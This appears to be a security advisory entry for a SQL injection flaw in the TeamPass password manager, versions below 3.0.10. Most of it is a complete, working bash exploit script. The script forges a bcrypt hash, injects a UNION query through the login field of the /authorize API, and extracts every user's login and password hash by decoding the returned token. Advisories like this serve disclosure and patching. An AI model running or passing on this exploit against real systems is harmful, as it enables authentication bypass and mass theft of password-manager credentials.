SQL Injection Affecting nilsteampassnet/teampass package, versions >=0.0.0, <3.0.10

nilsteampassnet/teampass is a password manager.

Affected versions of this package are vulnerable to SQL Injection via the /authorize API endpoint, by forging an arbitrary Blowfish hash and using it in the query to bypass the password verification check.

if [ "$#" -lt 1 ]; then
  echo "Usage: $0 <base-url>"
  exit 1
fi

vulnerable_url="$1/api/index.php/authorize"

check=$(curl --silent "$vulnerable_url")
if echo "$check" | grep -q "API usage is not allowed"; then
  echo "API feature is not enabled :-("
  exit 1
fi

# htpasswd -bnBC 10 "" h4ck3d | tr -d ':\n'
arbitrary_hash='$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq'

exec_sql() {
  inject="none' UNION SELECT id, '$arbitrary_hash', ($1), private_key, personal_folder, fonction_id, groupes_visibles, groupes_interdits, 'foo' FROM teampass_users WHERE login='admin"
  data="{\"login\":\""$inject\"",\"password\":\"h4ck3d\", \"apikey\": \"foo\"}"
  token=$(curl --silent --header "Content-Type: application/json" -X POST --data "$data" "$vulnerable_url" | jq -r '.token')
  echo $(echo $token| cut -d"." -f2 | base64 -d 2>/dev/null | jq -r '.public_key')
}

users=$(exec_sql "SELECT COUNT(*) FROM teampass_users WHERE pw != ''")

echo "There are $users users in the system:"

for i in `seq 0 $(($users-1))`; do
  username=$(exec_sql "SELECT login FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
  password=$(exec_sql "SELECT pw FROM teampass_users WHERE pw != '' ORDER BY login ASC LIMIT $i,1")
  echo "$username: $password"
done

• GitHub Commit